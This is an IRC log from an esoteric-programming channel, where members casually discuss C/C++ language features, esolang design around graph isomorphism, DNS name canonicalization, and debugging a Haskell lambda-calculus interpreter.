22:04:34 <pikhq> (called "GNU inline" because of GCC's behavior of inline before it was an actual keyword. Can now be enabled with __attribute__((gnuinline)))
22:05:00 <oerjan> inline_dammit
22:05:28 <coppro> also GCC's "extern inline"
22:05:33 <fizzie> GCC does have that __attribute__ ((always_inline)) you can try to use, though I wouldn't trust it any further than I could throw it.
22:06:00 -!- augur has quit (Ping timeout: 245 seconds).
22:07:02 -!- tombom__ has joined.
22:07:48 -!- tombom__ has quit (Client Quit).
22:08:08 <coppro> fizzie: It works well because it errors if it fails
22:08:58 -!- tombom_ has quit (Ping timeout: 248 seconds).
22:09:14 <pikhq> fizzie: It's not necessarily a good *idea*, but it definitely *works*.
22:16:43 -!- adam_d_ has joined.
22:19:12 -!- adam_d has quit (Ping timeout: 265 seconds).
22:19:49 -!- cpressey has joined.
22:27:49 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100202165920]).
22:28:34 <lament> gah c++ references
22:28:45 <lament> c++ kinda makes me sad for humanity
22:28:56 <lament> people use all these horrible features and *like* them
22:30:11 <Oranjer> and what do you prefer
22:32:27 <cpressey> C++++
22:32:32 <cpressey> Pure virtual templates ftw
22:33:22 <lament> Oranjer: not using references
22:33:41 <lament> int x = 2; foo(x); // x could be anything
22:34:04 <Oranjer> but you just said it was 2? what?
22:34:17 <lament> it's just horrendous, it's not even the feature itself i object to but the fact that people actually use it and think it's a good idea
22:34:41 <lament> Oranjer: that's c++, foo(x) can modify the actual value of x
22:35:11 <cpressey> Hey, you need SOME way to overload assignment
22:35:16 <lament> you could do this in C with foo(&) which is 10000 times better
22:35:23 <lament> foo(&x) i mean
22:35:40 <Deewiant> Using a pointer allows null, which may not be desirable
22:35:54 <cpressey> but then if I have to pass a pointer by reference I will need to take a pointer to a pointer and AHHH I'M CONFUSED
22:36:03 <lament> haha
22:37:11 <Phantom_Hoover> And then there's the question of whether foo(&&x) makes sense to the compiler.
22:37:29 -!- coppro has quit (Ping timeout: 246 seconds).
22:38:39 <Phantom_Hoover> Why do people think MW is a poor medium for discussion?
22:39:07 <Phantom_Hoover> It works just as well as a standard forum.
22:41:02 <fizzie> Does it show you what part of the discussion you've read, and what's unread, in some sensible way?
22:41:21 <Phantom_Hoover> No, but in my experience that doesn't really come up.
22:41:48 <fizzie> In my experience that's pretty crucial; granted, "my experience" is pretty much just Usenet, which is not quite a forum.
22:41:53 <Phantom_Hoover> Particularly not in such a small place as the esolang wiki.
22:46:55 <oerjan> fizzie: it does if you use the history diff
22:47:08 <oerjan> ok maybe not "sensible", but it's what i do
22:47:26 <fizzie> I guess that would work.
22:47:36 <fizzie> It could be just some sort of philosophical objection about not using the right tool for the right job; though that would seem really out-of-place on the esolang wiki, too.
22:47:45 <oerjan> :D
22:48:48 <oerjan> well i nearly always use the diff on the main articles anyway, so...
22:49:54 <Phantom_Hoover> The problem with the whole esolang community is that it's hell for the impatient.
22:51:00 <oerjan> well i guess this channel is our only realtime forum
22:51:13 -!- nooga has joined.
22:51:13 <oerjan> the others i just check now and then
22:51:14 <Phantom_Hoover> Yes...
22:51:27 <cpressey> Aside from our annual conference, yes.
22:51:29 <lament> Phantom_Hoover: the whole esolang community is this channel.
22:51:33 <oerjan> (including the "forum", which has rss btw)
22:51:34 <fizzie> This channel also has some problems staying on target.
22:51:38 <Phantom_Hoover> And the wiki.
22:51:41 <lament> (.) (.)
22:52:14 <Gregor> The wiki is most certainly legit.
22:52:17 <Phantom_Hoover> Lament: And hence if the person you want to talk to isn't on the channel it's infuriating.
22:52:38 -!- augur has joined.
22:52:42 <oerjan> Phantom_Hoover: if i'm not on the channel i'm most likely not on the internet at all
22:57:24 <fizzie> oerjan: And if you're not on the internet, you're NOBODY.
22:58:04 <cpressey> So, I'd like to design an esolang which is basically an imperative machine except where each of the instructions is represented by an (unlabelled, undirected) graph.
22:59:03 <fizzie> That's a good thing to do; there's been far too few graphy things so far.
22:59:03 <cpressey> This would necessitate using graph isomorphism to recognize instructions and execute programs, and since it's not known if GI runs in polynomial time, programs in this language have an ... interesting lower bound.
22:59:44 <oerjan> cpressey: have you looked at eodermdrome?
22:59:52 <cpressey> s/GI runs/GI is solvable/
22:59:55 <cpressey> oerjan: briefly
23:00:40 <cpressey> I thought it was doing something different with graphs
23:01:16 <oerjan> hm yeah the instructions are subgraph substitutions
23:01:36 <oerjan> it does have that subgraph isomorphism problem though
23:01:42 <Phantom_Hoover> Bye.
23:01:45 -!- Phantom_Hoover has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838]).
23:02:27 <oerjan> (which is even NP-complete, except eodermdrome also has that 26-vertex subgraph limit)
23:03:34 <oerjan> cpressey: if you don't _want_ your language to be that hard to run, you could probably select instruction graphs that were somewhat easier to recognize
23:03:35 <cpressey> Knowing that it is NP-complete makes it somewhat less interesting... the interesting thing about GI is that not much is known about where it stands w.r.t P and NP
23:03:58 <oerjan> yeah
23:11:31 -!- ttm has quit (Quit: Seeeeeya).
23:15:54 <Ilari> NP-complete does not mean hopeless in all cases: In this case, if subgraphs to recognize are fixed, it seems there is polynomial algo...
23:17:11 -!- dbc has joined.
23:17:19 <cpressey> Another thing I was trying to come up with (only tangentially related) is a purely functional, yet concise, notation for constructing (again, unlabelled) graphs. What I've got so far is only so-so.
23:17:39 <oerjan> Ilari: yes
23:22:02 <Sgeo> I'm reviewing my game with coppro
23:22:20 <Sgeo> An observer mentioned that he could have captured my queen if he saw a certain move, but he didn't
23:23:52 -!- fax has quit (Quit: Lost terminal).
23:28:37 -!- augur has quit (Ping timeout: 260 seconds).
23:51:57 <uorygl> So, a program running as root can escape from plash, right?
23:54:04 <Gregor> plash doesn't run programs as root, but if a program got root within plash, it could escape, although it'd be pretty tricky.
23:57:30 <nooga> plash?
2010-03-13
00:00:17 <Gregor> plash is better than you.
00:00:24 <Gregor> Or something :P
00:03:24 <cpressey> Yay, just got HOL Light installed (under cygwin...) and proved something with it
00:04:03 <Sgeo> Someone should make Plash for Windows
00:09:37 <Gregor> Sgeo: No.
00:13:16 -!- adam_d_ has quit (Ping timeout: 265 seconds).
00:24:03 -!- augur has joined.
00:25:21 -!- cpressey has left (?).
00:30:21 -!- MigoMipo has joined.
00:35:57 -!- FireFly has joined.
00:36:16 -!- FireFly has quit (Read error: Connection reset by peer).
00:37:00 -!- FireFly has joined.
00:37:38 -!- FireFly has quit (Write error: Broken pipe).
00:40:29 -!- oerjan has quit (Quit: Good night).
00:57:40 <nooga> wow
01:04:25 <uorygl> wiw
01:04:40 <Oranjer> waw
01:09:41 <uorygl> wuw
01:10:08 <Oranjer> wyw
01:11:30 <uorygl> wew
01:11:46 <Oranjer> wfw
01:11:48 <Oranjer> c-c-c-
01:11:57 <uorygl> COMBO BREAKER?
01:12:10 <augur> HAI GAIS
01:12:15 <uorygl> You could have continued using another semivowel, you know.
01:12:18 <uorygl> Like "yay".
01:12:33 <uorygl> waw, wew, wiw, wow, wuw, wyw, yay, yey, yiy, yoy, yuy, yyy...
01:12:52 <uorygl> After that, proceed to the stuff that's almost a vowel. rar, rer, rir, ror, rur, ryr.
01:13:07 <uorygl> Then other stuff that's almost a vowel: lal, lel, lil, lol, lul, lyl.
01:13:22 <uorygl> And then some nasals: nan, nen, nin, non, nun, nyn, mam, mem, mim, mom, mum, mym.
01:33:30 <nooga> erm
01:34:03 <nooga> mer
01:34:04 <nooga> rem
01:34:28 <pikhq> Wow. http://to./
01:34:35 <pikhq> It's a URL shortener.
01:37:12 <nooga> how is this even possible
01:37:25 <Gregor> to is a TLD
01:37:32 <Gregor> For some country
01:37:41 <Gregor> Some country clever enough to make the greatest URL shortener ever.
01:37:57 <Gregor> Also, http://to/bleh works the same if your OS doesn't suck.
01:38:23 <nooga> but why the dot at the end
01:39:18 <Gregor> I've recently been reminded that that's always been the correct canonicalization, since the beginning of DNS (this is why BIND wants your hostnames to end in a .), not having a . is just a convenience.
01:42:16 <nooga> why i cannot visit pl. or com. then?
01:43:28 <Gregor> com. does work, although it forwards to www.com.
01:43:36 <Gregor> pl. also works
01:43:58 <Gregor> Oh, sorry, my confusion, lemme restate:
01:44:05 <nooga> bah
01:44:11 <nooga> i see it does noe
01:44:14 <Gregor> com and pl don't have A addresses, they have no host. www.com. does work, as does www.pl.
01:44:44 <Gregor> com. doesn't work for the same reason that com doesn't work, because the gigantulous company that controls the com TLD doesn't have any address there.
01:44:48 <Gregor> Same with pl
01:47:10 <nooga> wonder who controls it
02:04:57 -!- MigoMipo has quit (Quit: Page closed).
02:07:32 <uorygl> In zone files, domain names ending in . are absolute and domain names not ending in . are relative.
02:08:25 <uorygl> So if your domain name is foo.com., adding an A record for blah.foo.com. will make http://blah.foo.com/ go somewhere, and adding an A record for blah.foo.com will make http://blah.foo.com.foo.com/ go somewhere.
02:09:22 -!- Asztal has quit (Ping timeout: 276 seconds).
02:14:17 -!- nooga_ has joined.
02:17:36 -!- nooga has quit (Ping timeout: 252 seconds).
02:55:47 -!- FireFly has joined.
02:56:11 -!- FireFly has quit (Read error: Connection reset by peer).
02:56:47 -!- FireFly has joined.
03:15:36 -!- FireFly has quit (Read error: Connection reset by peer).
03:16:29 -!- FireFly has joined.
03:17:00 -!- FireFly has quit (Read error: Connection reset by peer).
03:17:37 -!- FireFly has joined.
03:18:11 -!- FireFly has quit (Read error: Connection reset by peer).
03:21:14 -!- kwertii has joined.
03:30:39 -!- werdan7 has quit (Ping timeout: 615 seconds).
03:39:01 -!- werdan7 has joined.
03:52:30 <nooga_> burp
03:53:08 <nooga_> uorygl: i see
03:53:22 <Oranjer> code red! quarantine broken!
03:54:20 <nooga_> wha....
03:54:22 * uorygl dons a gas mask.
03:54:23 <nooga_> oh
03:54:29 * uorygl wraps nooga_ in plastic.
03:54:45 <nooga_> mmffgffgf
03:54:54 * uorygl pokes breathing holes in the plastic.
03:55:01 <nooga_> hhhhhhh
03:55:07 * uorygl pokes speaking holes in the plastic.
03:55:17 <nooga_> hm
03:55:29 * uorygl pokes speaking articulately holes in the plastic.
03:55:32 <nooga_> that would actually make the plactic wrap pointles
03:55:38 <uorygl> Indeed.
03:55:45 * uorygl wraps the holes in plastic.
03:55:46 <uorygl> There!
03:56:09 <nooga_> mmfgm.
03:56:36 <uorygl> Hey, now. The holes still exist, so you can still breathe and speak and speak articulately through them.
03:56:54 <uorygl> But they're also wrapped in plastic so no contaminants can get out.
03:56:56 <uorygl> Genius, eh?
04:03:54 <nooga_> heh
04:04:18 <nooga_> wait a second
04:06:16 <nooga_> isn't france in the same time zone with warsaw?
04:06:22 <nooga_> i mean paris
04:06:55 <nooga_> night coding huh?
04:08:49 -!- jcp has joined.
04:33:17 -!- augur has quit (Ping timeout: 265 seconds).
04:33:43 * pikhq notes that alise hasn't been around for a few days
04:46:28 -!- Libster has joined.
04:46:30 -!- Libster has left (?).
05:17:48 -!- augur has joined.
05:25:37 -!- nooga_ has quit (Quit: Lost terminal).
05:32:25 -!- Oranjer has left (?).
05:35:59 -!- FireFly has joined.
05:36:20 -!- FireFly has quit (Read error: Connection reset by peer).
05:51:29 -!- coppro has joined.
05:59:25 -!- coppro has quit (Remote host closed the connection).
06:01:48 -!- coppro has joined.
06:12:26 -!- adu has joined.
06:29:02 -!- MigoMipo has joined.
07:42:58 -!- adu has quit (Quit: adu).
07:46:10 -!- adu has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:01:34 -!- kwertii has quit (Quit: bye).
08:18:03 -!- cheater2 has quit (Ping timeout: 240 seconds).
08:22:00 -!- cheater2 has joined.
08:36:18 -!- BeholdMyGlory has joined.
08:40:07 -!- adu has quit (Quit: adu).
09:32:42 -!- BeholdMyGlory has quit (Remote host closed the connection).
09:57:11 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
10:21:13 -!- oerjan has joined.
11:12:42 -!- fax has joined.
11:15:06 -!- kar8nga has joined.
11:24:53 -!- sebbu has quit (Ping timeout: 256 seconds).
11:36:17 -!- sebbu has joined.
11:37:52 -!- fax has quit (Quit: Lost terminal).
11:43:32 -!- tombom has joined.
12:06:20 -!- oerjan has quit (Quit: leaving).
12:36:16 -!- cheater has quit (Read error: Operation timed out).
12:36:40 -!- cheater has joined.
12:40:58 -!- adam_d has joined.
12:54:01 -!- fax has joined.
13:00:54 -!- adam_d has quit (Ping timeout: 258 seconds).
13:28:48 -!- lifthrasiir has quit (Ping timeout: 276 seconds).
13:42:42 -!- MigoMipo has quit (Quit: Page closed).
13:43:04 -!- BeholdMyGlory has joined.
13:49:26 -!- lifthrasiir has joined.
13:51:51 -!- Phantom_Hoover has joined.
13:52:26 <Phantom_Hoover> If I have a raw Qemu disc image, how do I format an ext3 filesystem on it?
13:55:14 -!- lifthrasiir has quit (Quit: leaving).
13:55:27 <Phantom_Hoover> Well?
13:55:33 -!- lifthrasiir has joined.
14:01:53 <fax> ill
14:03:52 -!- BeholdMyGlory has quit (Remote host closed the connection).
14:06:22 <Phantom_Hoover> ??
14:10:10 -!- cheater2 has quit (Ping timeout: 245 seconds).
14:11:24 -!- cheater2 has joined.
14:30:45 -!- Phantom_Hoover has quit (Ping timeout: 256 seconds).
14:31:49 -!- kar8nga has quit (Remote host closed the connection).
14:39:00 <fizzie> Just mkfs.ext3 on it.
14:39:51 <fizzie> It might need the -F flag if it refuses to operate on a normal file, though I seem to recall it asking about it instead.
14:39:59 <fizzie> (Yes, I noticed he is gone already.)
14:50:00 <Deewiant> What's the environment variable restriction in cfunge's sandbox mode useful for?
14:50:40 <augur> alise and/or ehird, when either of you show up: the intelligence squared debate on the catholic church as a force for good was simply amazing
14:59:37 <fax> ??
15:04:07 <augur> theres this thing called Intelligence Squared
15:04:25 <augur> they held a debate last year on whether or not the catholic hcurch was a force for good in the world
15:04:44 <augur> and they subsequently had a vote of the people who were present for the debate
15:05:02 <augur> pre-debate, the numbers were like 1000 no, 700 yes, 300 dont know
15:05:06 <augur> after it was like 1750 no, 200 yes, 50 dont know
15:08:45 -!- alise has joined.
15:09:12 <alise> #alise, please. I do not want this to be logged.
15:10:29 <fax> augur
15:10:31 <fax> daahafh
15:16:28 -!- alise_ has joined.
15:20:50 -!- alise has quit (Ping timeout: 252 seconds).
15:26:20 -!- alise_ has quit (Ping timeout: 252 seconds).
15:26:53 -!- alise has joined.
15:26:56 <alise> 06:21:54 <Quadrescence> I wonder how small one can make a decent forth compiler in C
15:26:58 <alise> http://www.ioccc.org/1992/buzzard.2.design
15:27:57 <Deewiant> Compiler
15:28:59 -!- alise_ has joined.
15:31:28 -!- alise has quit (Ping timeout: 252 seconds).
15:32:18 <augur> o.o;
15:38:04 -!- alise_ has quit (Ping timeout: 252 seconds).
15:40:25 -!- alise has joined.
15:44:55 -!- jcp has joined.
15:49:04 -!- alise has quit (Ping timeout: 252 seconds).
15:55:30 -!- alise has joined.
15:56:10 * alise writes a program to generate true constructivist statements.
15:56:10 <alise> Endlessly
15:56:13 <alise> *Endlessly.
15:56:29 <fax> ??
15:56:37 <alise> Why not?
15:56:52 <alise> It's just a case of having a bunch of axioms and then substituting things for the variables in them. Endlessly.
16:03:22 -!- alise has quit (Ping timeout: 252 seconds).
16:04:57 -!- fungot has quit (Ping timeout: 260 seconds).
16:05:54 -!- alise has joined.
16:14:33 -!- alise_ has joined.
16:14:44 -!- alise has quit (Ping timeout: 252 seconds).
16:15:05 <alise_> fax: plz relink
16:15:05 <alise_> in msg
16:15:26 <fax> hi
16:16:55 <alise_> Please?
16:17:13 <fax> no
16:17:25 <pikhq> Por mi?
16:17:52 <alise_> fax: Why not?
16:17:59 <fax> because nothing was said
16:18:15 <pikhq> -_-'
16:18:16 <alise_> There was -- in #alise2.
16:18:22 <alise_> At the beginning.
16:18:30 <alise_> (In /msg only, please. I do not want it leaking)
16:19:07 -!- fungot has joined.
16:19:14 <fax> 15:31 -!- alise [~95fee059@gateway/web/freenode/x-uykmcysttrftzukr] has quit [Ping timeout: 252 seconds]
16:19:18 <fax> 15:31 < alise_> test
16:19:20 <fax> 15:31 < fax> test
16:19:21 <alise_> FFS.
16:19:24 <alise_> I mean what I told you at the start.
16:19:25 -!- Phantom_Hoover has joined.
16:19:30 <Phantom_Hoover> Hello?
16:19:31 <alise_> In */msg only. Please.*
16:19:33 <fax> you want me to show you what you told me?
16:19:50 <fax> hi
16:20:08 <alise_> fax: Yes. In /msg, in a private pastie. Please?
16:20:21 <fax> why
16:20:39 <alise_> So I can show it to someone else...
16:20:41 <alise_> Because this client doesn't log...
16:21:12 <alise_> *...
16:21:53 -!- zzo38 has joined.
16:22:20 <zzo38> I thought about Conway's Life cellular automaton but I have idea for a variant, called KnightLife
16:22:23 <fizzie> Phantom_Hoover: In case your question is still relevant, just /sbin/mkfs.ext3 on it; at least my copy will ask about being sure to operate on non-block-device, but will do it after confirmation.
16:22:55 -!- sebbu has quit (Read error: Connection reset by peer).
16:23:10 -!- sebbu has joined.
16:23:42 <Phantom_Hoover> Fizzie: thanks.
16:24:13 <alise_> all (0 -> all (0 -> 1)); all all all ((0 -> (1 -> 2)) -> ((0 -> 1) -> (0 -> 2))); all all ((~0 -> ~1) -> (1 -> 0))
16:24:57 <alise_> Turns out I am a bit too lazy even to implement modus ponens. :)
16:27:42 -!- ais523 has joined.
16:30:43 -!- alise has joined.
16:33:48 -!- alise_ has quit (Ping timeout: 252 seconds).
16:34:09 <alise> ffff I hate trivial programming bookkeeping
16:34:24 <fax> I hate how I don't make much sense
16:34:31 <fax> even when I try really hard to
16:35:10 <alise> like consider
16:35:13 <alise> subst :: [(Integer,Statement)] -> Statement -> Statement
16:35:14 <ais523> hi alise
16:35:18 <alise> I do bookkeeping in the first argument but you also specify what to subst in there
16:35:28 <alise> so when I come across a universal quantification
16:35:54 -!- alise_ has joined.
16:35:57 -!- Asztal has joined.
16:36:02 <alise_> FUCK
16:36:04 <alise_> THIS
16:36:06 <alise_> FUCKING
16:36:07 <alise_> CONNECTION
16:36:09 <alise_> until it's fixed i'm not talking
16:36:12 <uorygl> zzo38: so, what does KnightLife do?
16:37:42 <Phantom_Hoover> It wouldn't be Life with knightships added, would it?
16:38:00 <uorygl> That would be cute.
16:38:16 <alise_> sdgjdfigjfdsoigx
16:38:21 <fax> rpghghrounprghounyphrguorpgh
16:38:31 <uorygl> phonographphonographphonograph
16:39:45 <alise_> safkaspofksad
16:39:45 <alise_> asfd
16:39:45 <alise_> asl
16:39:45 <alise_> das
16:39:45 <alise_> dasd
16:39:47 <alise_> a\sdl
16:39:49 <alise_> a
16:39:50 <alise_> f
16:39:50 <alise_> sfdskf
16:39:50 <alise_> [sdf
16:40:02 -!- alise has quit (Ping timeout: 252 seconds).
16:41:48 <zzo38> uorygl: I thought it is obvious, isn't it? If not, I will explain
16:42:38 <uorygl> Obvious from the name?
16:42:53 <alise_> all (42 -> all (42 -> 1)) SAME FUCKING PROBLEM >_<
16:42:55 <alise_> I hate coding
16:42:56 <augur> hmm interesting
16:43:04 <uorygl> Maybe it's a little bit obvious, but it's not very obvious.
16:43:10 <fax> alise: I hate programming too!
16:43:14 <augur> theres a subset of non-CF languages that have linear parse time
16:43:14 <zzo38> Yes, a little bit.
16:43:16 <augur> hm hm!
16:43:34 <augur> and their conveniently representable in compact regex-like notation!
16:43:35 <zzo38> Basically the 8 surrounding cells are the knight's move cells instead of the king's move cells
16:43:36 <augur> hm hm!
16:43:38 <alise_> faxoh but I love programming
16:43:38 <alise_> proper programming
16:43:44 <alise_> not this fuking bookkeeping shit
16:43:45 <alise_> with five bbillion variables
16:43:49 <alise_> also fuck you chrome
16:43:53 <alise_> show me the input field
16:43:56 <zzo38> Now it's obvious, isn't it?
16:44:10 * augur bookkeeps alise_'s variables
16:44:12 <augur> ;o ;o ;o
16:44:28 <alise_> WOOT
16:44:33 -!- Phantom_Hoover has quit (Ping timeout: 265 seconds).
16:44:59 <uorygl> Yep, now it's obvious.
16:45:18 -!- Phantom_Hoover has joined.
16:45:26 <uorygl> Same number of neighbors, but connected differently. Hmm.
16:46:24 <alise_> asdfghj
16:47:01 <fax> pafdounafpoonufadpoundfapounadpfuondfpa
16:47:08 <alise_> seriously what is it with shitty languages that can't match patterns and keep vaariables easily
16:47:23 <alise_> i should be able to like.. modulo out that stuff to a separate block and write the rest uberpurely
16:47:26 <pikhq> "Pattern matching is hard!"
16:47:40 <alise_> pikhq: not that kind of pattern matching
16:47:50 <alise_> the kind of pattern matching that involves a recursive function to determine the OK-ness of a pattern
16:48:00 <alise_> and then dispatching on the structure you infer in it
16:48:37 <alise_> http://pastie.org/868022.txt?key=mqvjqn84rgv75aalq9arq
16:48:42 <alise_> This function is 99% fucking fluff.
16:49:03 <alise_> Now write modus ponens :: Statement -> Statement -> (Maybe) Statement. :-)
16:50:10 <alise_> test
16:50:22 <fax> test
16:50:38 <Phantom_Hoover> What is fax?
16:51:10 <pikhq> 人間。
16:51:10 <alise_> You cannot ask... what is fax.
16:51:11 <alise_> It is not a question.
16:51:13 <alise_> Instead, you mist ask..
16:51:20 <alise_> Why did I typo "mist" for "must"?
16:51:48 <alise_> Then you will be enlightened.
16:51:48 <Phantom_Hoover> Who is fax?
16:51:57 <uorygl> alise_: so what is this language, and why must you use it?
16:52:18 <augur> BUT WHO IS PHAX?!
16:52:46 <alise_> uorygl: This is ... Haskell ...
16:52:58 <Gregor> fax is the bastard child of Miss Piggy and Kermit the Frog.
16:53:07 <augur> THIS
16:53:10 <augur> IS
16:53:12 <augur> HASKELL!!!!!!!!!
16:53:13 <pikhq> ファクス君が此処に居る人です。
16:53:28 <alise_> saoidjdoifjsdojdsf
16:53:32 <uorygl> I'm I'm understanding you correctly, I'm slightly surprised that you're calling Haskell a shitty language that can't match patterns and keep variables easily.
16:53:34 <Gregor> THIS - IS - AN OUTDATED - MEEEEEEEEME
16:53:34 * fax bastard
16:53:35 <alise_> I wish someone actually took u my challenge to write modusponens :P
16:53:36 <pikhq> (fax is a person who is hear)
16:53:36 <uorygl> s/I'm/If/
16:53:39 <alise_> *up
16:53:46 <augur> stop speaking japanese.
16:53:48 <augur> Gregor: :)
16:53:49 <pikhq> s/hear/here/
16:53:51 <alise_> uorygl: because I don't mean the trivial sense that haskell does
16:53:55 <alise_> I mean generalised book keeping
16:53:59 <alise_> http://pastie.org/868022.txt?key=mqvjqn84rgv75aalq9arq
16:54:04 <alise_> 2/3 parameters are bookkeeping
16:54:06 <pikhq> augur: 日本語を勉強する始めて。
16:54:12 <alise_> the majoritry of the code. book keeping
16:54:14 <pikhq> (start studying Japanese)
16:54:19 <alise_> if you try and code modus ponens inferrence using that,
16:54:25 <alise_> you get EVEN MORE book keeping! yay
16:55:58 <Gregor> I think I'm turning Portuguese I think I'm turning Portuguese I really think so
16:56:45 <uorygl> So just what is subst supposed to do?
16:57:05 <alise_> Substitute.
16:57:30 <alise_> If the language excelled at eliminating pointless crap like that it'd be obvious from the definition.
16:57:35 <uorygl> Substitute what for what into what?
16:57:51 <alise_> Substitute for a given De Bruijn index into a logical statement.
16:57:55 <fax> programming languages don't exist
16:58:06 <Gregor> THERE IS ONLY ZUUL
16:58:12 <uorygl> fax has spoken.
16:58:45 <alise_> *XUL
16:58:52 <fax> *XML
16:58:55 <alise_> (The XUL namespace file is one called there.is.only.xul; it says that. :))
17:00:22 <uorygl> Okay, I think I see what this is all about.
17:00:22 -!- zzo38 has quit (Remote host closed the connection).
17:03:08 -!- alise_ has quit (Ping timeout: 252 seconds).
17:03:21 -!- alise has joined.
17:03:42 * alise installs xchat to avoid the shitty webchat client
17:05:05 <alise> uorygl: If you do decide to be my slave, the expectation of mp is that `mp (Var n :-> q) p'` produces q with p substituted for Var n (note that if you hit an All, all existing variables are shifted one place, and 0 becomes the newly-quantified variable); `mp (Not p :-> q) (Not p')` does the same but with the obvious, and `mp ((p :-> r) :-> q) (p' :-> r')` check that p/p' and r/r' match and then does the same as the others.
17:05:20 <alise> Actually, I'm just saying that so it's clearer what I have to do.
17:09:04 <alise> ss
17:09:41 <fax> alise shut up
17:09:48 <fax> have you read I am not a number, I am a free variable
17:10:04 -!- alise_ has joined.
17:11:04 <alise> I know how De Bruijn indexes work, fax.
17:11:10 <alise> I chose a bit of a shitty representation though.
17:11:15 <fax> I know how your mom works
17:11:17 <fax> "fax"
17:11:22 <fax> what
17:11:23 <Phantom_Hoover> Who is fax
17:11:33 <Phantom_Hoover> I did not mean that.
17:11:41 <alise_> What do you mean, "'fax' what"?
17:11:48 <fax> alise shut up have you read it??
17:12:02 <alise_> How can I do both simultaneously?
17:12:08 <fax> JUST!!!! DO!!!!!
17:12:34 <Phantom_Hoover> Can someone with more kernel knowledge than me tell me if this is feasible: http://esoteric.voxelperfect.net/forum/kareha.pl/1266506523/1
17:13:30 -!- indu has joined.
17:13:50 -!- indu has left (?).
17:14:41 -!- alise__ has joined.
17:14:52 -!- alise__ has quit (Client Quit).
17:15:36 -!- alise has quit (Ping timeout: 252 seconds).
17:16:04 -!- MarcoAchur1 has joined.
17:16:24 <Sgeo> This is a gun: =>. And this is 5 episodes of Endless Eight.
17:17:36 -!- alise_ has quit (Ping timeout: 276 seconds).
17:20:42 -!- alise has joined.
17:21:21 -!- Phantom_Hoover has quit (Remote host closed the connection).
17:21:25 <alise> mIRC users: how the fuck do you set the default font for all subdinwws?
17:21:31 <alise> *subwindows
17:21:58 <alise> got it
17:22:54 <Sgeo> Why the fuck would you use mIRC?
17:22:58 <Sgeo> Sorry for the language
17:23:23 <alise> a lot of idiots hate mIRC for seemingly no reason other than idiots use it. On Windows I have been unable to find a better client (because all others suck).
17:24:44 -!- Phantom_Hoover has joined.
17:25:09 -!- alise_ has joined.
17:25:22 <alise_> ...and then it inexplicably crashed
17:25:29 <Sgeo> alise, Silverex?
17:25:39 <alise_> No, mIRC. Or maybe I quit it...
17:25:43 <alise_> Windows is confusing.
17:26:23 -!- alise_ has quit (Client Quit).
17:26:27 <Sgeo> I meant, what's wrong with Silverex?
17:26:30 -!- alise has quit.
17:26:57 -!- alise has joined.
17:27:07 -!- alise_ has joined.
17:27:14 <alise_> Figured out why.
17:27:22 <alise_> It was minimising to tray; bad idea w/ Win7. Didn't actually crash.
17:27:26 -!- alise has quit (Client Quit).
17:27:31 -!- alise_ has changed nick to alise.
17:27:41 <alise> So now my only question is how to make subwindows maximised by default.
17:28:22 -!- alise has quit (Client Quit).
17:28:52 -!- alise has joined.
17:29:35 <alise> Ftop.
17:30:49 <alise> Hopefully a permanent client should make my IRC more reliable.
17:30:57 <alise> Is there anything better than Pidgin yet for Windows IMing?
17:31:05 -!- MarcoAchur1 has left (?).
17:31:36 <fax> nekwhat's the apb
17:33:10 <alise> ?
17:33:12 <alise> Are you drunk?
17:36:43 -!- adam_d has joined.
17:37:20 <Sgeo> I recently tried switching to Digsby
17:37:28 <alise> oerjan said something about superstrict languages where (\x. f x) evaluates f.
17:37:32 <alise> That's interesting.
17:37:35 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
17:37:47 <Sgeo> Yet to form a solid opinion on whether it's better. So far, still hoping that its Facebook Chat support is better than Pidgins
17:37:57 <alise> Digsby is spyware, iirc.
17:38:01 <alise> Or at least obnoxiously social.
17:38:23 <Sgeo> Which one? I mind the former, the latter can be disabled as far as I've seen
17:38:47 <alise> I don't know.
17:39:12 <alise> Hmm... (\f. (\x. f (x x)) (\x. f (x x)) would evaluate (x x).
17:39:19 <alise> So even the lambda-expression of Y would diverge.
17:39:26 <alise> Is it TC, I wonder?
17:39:33 <alise> (\x. x x) is OK
17:40:08 -!- BeholdMyGlory has joined.
17:45:41 <alise> Yay, I implemented it and Y does indeed diverge.
17:48:37 <fax> heh
17:48:46 <fax> using divergence to check if your code works
17:49:07 <alise> Quite.
17:51:04 <AnMaster> alise, hm.. which language?
17:51:17 <AnMaster> lambda calculus?
17:57:13 <alise> Yes.
17:57:17 <alise> Superstrict lambda calculus.
17:57:30 <alise> Where, in (\x.E), you evaluate E as far as you can without relying on x's value.
17:57:40 <alise> So (\x. f x) evaluates f before it's even applied.
17:58:55 <alise> *Main> eval (App succL zeroL)
17:58:56 <alise> \a. \b. (a ((*** Exception: Prelude.(!!): index too large
17:59:00 <alise> Dammit.
17:59:02 <alise> The verifier should have caught that...
17:59:14 <pikhq> alise: That's pretty damned crazy right there.
17:59:56 <alise> Ugh, I have some sort of horrible bug.
18:00:02 <alise> (You could argue the entire thing is a horrible bug.)
18:01:46 <fizzie> At some point I used Xircon for Windows-irc, but the development of that died at 1.0b4, I think. It had a TCL scripting engine, that was at least nicer than mirc-scripting. But that was years ago; not sure what people use nowadays.
18:04:10 <alise> I have no idea why this isn't working XD
18:04:27 * alise tries booleans instead as a test
18:06:44 <alise> I have serious variable issues.
18:09:19 <alise> ah...
18:09:26 <alise> Lam ((Var 1 :$ Lam (Lam (Var 1))) :$ Var 1)
18:09:30 <alise> I'm not demoting my variables sufficiently
18:14:10 <fax> alise shut up!!!!!!!!
18:14:45 <fax> read the (first few pages of the) paper
18:15:09 -!- alise has quit (Ping timeout: 252 seconds).
18:15:21 -!- alise_ has joined.
18:16:23 * pikhq ported the "official" Lazy K interpreter to use Boehm GC...
18:16:38 <Gregor> Quite an accomplishment.
18:16:50 <pikhq> The reference counting scheme it used leaked memory.
18:16:55 <pikhq> So I fixed it.
18:17:08 <pikhq> I've also made the thing compile on modern C++ compilers. :P
18:17:20 <Gregor> It used reference counting?
18:17:22 <Gregor> Lollercopters
18:17:24 <pikhq> Yes.
18:17:37 <pikhq> It leaked a metric fuckton of memory. And the author had no idea why.
18:17:43 <Sgeo> WHat's wrong with reference counting?
18:17:56 <pikhq> Sgeo: Leaks memory with cyclic datastructures.
18:18:02 <alise_> So... the issue is that when I apply a lambda, and it results in a lambda, I need to decrement the Vars in it.
